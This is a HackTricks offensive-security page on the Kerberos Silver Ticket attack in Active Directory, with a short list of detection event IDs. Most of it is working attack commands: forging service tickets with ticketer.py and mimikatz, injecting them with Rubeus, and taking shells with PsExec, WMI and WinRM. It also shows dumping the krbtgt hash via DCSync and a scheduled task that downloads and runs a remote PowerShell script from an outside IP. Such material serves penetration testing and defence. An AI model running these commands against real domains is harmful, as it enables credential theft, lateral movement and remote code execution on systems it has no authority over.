Silver Ticket - HackTricks

# Silver Ticket

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## Silver ticket

The Silver Ticket attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on acquiring the NTLM hash of a service account, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, impersonating any user, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.

For ticket crafting, different tools are employed based on the operating system:

### On Linux

    python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
    export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
    python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

### On Windows

    # Create the ticket
    mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

    # Inject the ticket
    mimikatz.exe "kerberos::ptt <TICKET_FILE>"
    .\Rubeus.exe ptt /ticket:<TICKET_FILE>

    # Obtain a shell
    .\PsExec.exe -accepteula \\<TARGET> cmd

The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.

## Available Services

Service Type | Service Silver Tickets
--- | ---
WMI | HOST RPCSS
PowerShell Remoting | HOST HTTP Depending on OS also: WSMAN RPCSS
WinRM | HOST HTTP In some occasions you can just ask for: WINRM
Scheduled Tasks | HOST
Windows File Share, also psexec | CIFS
LDAP operations, included DCSync | LDAP
Windows Remote Server Administration Tools | RPCSS LDAP CIFS
Golden Tickets | krbtgt

Using Rubeus you may ask for all these tickets using the parameter:

- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`

### Silver tickets Event IDs

- 4624: Account Logon
- 4634: Account Logoff
- 4672: Admin Logon

## Abusing Service tickets

In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.

### CIFS

With this ticket you will be able to access the `C$` and `ADMIN$` folder via SMB (if they are exposed) and copy files to a part of the remote filesystem just doing something like:

    dir \\vulnerable.computer\C$
    dir \\vulnerable.computer\ADMIN$
    copy afile.txt \\vulnerable.computer\C$\Windows\Temp

You will also be able to obtain a shell inside the host or execute arbitrary commands using psexec:

PsExec/Winexec/ScExec

### HOST

With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:

    #Check you have permissions to use schtasks over a remote server
    schtasks /S some.vuln.pc
    #Create scheduled task, first for exe execution, second for powershell reverse shell download
    schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
    schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
    #Check it was successfully created
    schtasks /query /S some.vuln.pc
    #Run created schtask now
    schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

### HOST + RPCSS

With these tickets you can execute WMI in the victim system:

    #Check you have enough privileges
    Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
    #Execute code
    Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

    #You can also use wmic
    wmic remote.computer.local list full /format:list

Find more information about wmiexec in the following page:

WmiExec

### HOST + WSMAN (WINRM)

With winrm access over a computer you can access it and even get a PowerShell:

    New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Check the following page to learn more ways to connect with a remote host using winrm:

WinRM

> [!WARNING] Note that winrm must be active and listening on the remote computer to access it.

### LDAP

With this privilege you can dump the DC database using DCSync:

    mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Learn more about DCSync in the following page:

## References

- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets
- https://www.tarlogic.com/blog/how-to-attack-kerberos/

DCSync

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